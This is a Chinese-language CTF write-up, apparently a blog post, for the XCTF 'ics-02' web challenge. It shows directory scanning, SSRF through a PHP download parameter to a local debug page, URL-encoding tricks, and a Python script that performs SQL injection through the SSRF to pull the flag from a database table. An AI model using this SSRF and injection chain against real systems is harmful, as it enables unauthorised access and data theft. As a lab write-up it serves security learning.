• 攻防世界-web-ics-02(sql注入、ssrf、目录扫描)


    题目来源:XCTF 4th-CyberEarth
    题目描述:工控云管理系统的文档中心页面,存在不易被发现的漏洞。

    进入场景,如下,页面有一个下载功能(点击paper),下载功能只能下载pdf文件,会在dl参数加上.pdf。

    目录扫描可以得到secret目录,该目录文件会被列出来。有两个文件,一个是secret.php一个是secret_debug.php。可以联想到secret_debug是secret文件的调试文件。

    访问secret.php文件时,显示如下,页面提示“这里是私密页面1”,猜想还有私密页面2。查看页面元素,发现页面中有一个隐藏参数s,默认值为2

    fuzz一下,发现s=3时,返回私密页面2

    当直接访问secret_debug文件的时候会提示,你的ip是多少,不能访问。

    联想到ssrf漏洞,刚好这里有一个下载功能,虽然只能下载pdf文件,但是当你下载一个不存在的文件的时候readfile函数还是会执行的。

    根据secret文件的参数可以带入到secret_debug文件里面,构造一个请求测试一下

    http://220.249.52.133:38789/download.php?dl=http://127.0.0.1/secret/secret_debug.php?s=3&txtfirst_name=A&txtmiddle_name=B&txtLast_name=C&txtname_suffix=D&txtdob=01/11/2019&txtdl_nmbr=9244034&txtRetypeDL=9244034

    由于你的url形式是ip:port/download.php?dl=http://127.0.0.1/secret/secret_debug.php?s=3&txtfirst_name=.......这样会导致在第一个&符号处被加上.pdf导致其余参数无法传入debug文件里面(如上图所示),所以这里要给特殊字符url编码一次再请求,apache服务器就会自动解密一次,这样.pdf就会加在最后一个参数后面了(如下图所示)。

    http://220.249.52.133:38789/download.php?dl=http://127.0.0.1/secret/secret_debug.php?s%3D3%26txtfirst_name%3DA%26txtmiddle_name%3DB%26txtLast_name%3DC%26txtname_suffix%3DD%26txtdob%3D01%2F11%2F2019%26txtdl_nmbr%3D9244034%26txtRetypeDL%3D9244034

    为了使.pdf不影响最后一个参数txtRetypeDL的值,我们可以在所有的参数之后加一个&,使.pdf加在&后,如下图,注册成功。系统回显txtLast_name、txtfirst_name和txtdob参数的值。

    http://220.249.52.133:38789/download.php?dl=http://127.0.0.1/secret/secret_debug.php?s%3D3%26txtfirst_name%3DA%26txtmiddle_name%3DB%26txtLast_name%3DC%26txtname_suffix%3DD%26txtdob%3D01%2F11%2F2019%26txtdl_nmbr%3D9244038%26txtRetypeDL%3D9244038%26

     

    经过尝试得到注入点,编写脚本得到flag。

    import requests
    import random
    import urllib
    
    url = ' http://220.249.52.133:38789/download.php'
    
    # subquery = "database()"
    # ssrfw
    # subquery = "select group_concat(table_name) from information_schema.tables where table_schema='ssrfw'"
    # etcYssrf,users
    # subquery = "select group_concat(column_name) from information_schema.columns where table_name='cetcYssrf'"
    # secretName,value
    # subquery = "select secretName from cetcYssrf LIMIT 1"
    # secretname -> flag
    subquery = "select value from cetcYssrf LIMIT 1"
    # value -> flag{cpg9ssnu_OOOOe333eetc_2018}
    
    id = random.randint(1, 10000000)
    
    dl = ('http://127.0.0.1/secret/secret_debug.php?' +
            urllib.parse.urlencode({
                "s": "3",
                "txtfirst_name": "A','b',("+subquery+"),'c'/*",
                "txtmiddle_name": "B",
                "txtLast_name": "C",
                "txtname_suffix": "D.",
                "txtdob": "*/,'01/10/2019",
                "txtdl_nmbr": id,
                "txtRetypeDL": id
                }) + "&")
    
    r = requests.get(url, params={"dl": dl})
    print(r.text)

    参考:官方writeup

  • 相关阅读:
    Hibernate 小章总结(三)
    河北民间组织管理系统软件
    《编写有效用例阅读笔记二》
    《编写有效用例》读后感(一)
    专业实训需求分析
    2015秋季个人阅读计划
    大道至简阅读笔记之三
    大道至简阅读笔记之二
    大道至简阅读笔记之一
    程序员修炼之道阅读笔记之二
  • 原文地址:https://www.cnblogs.com/zhengna/p/14097898.html
Copyright © 2020-2023  润新知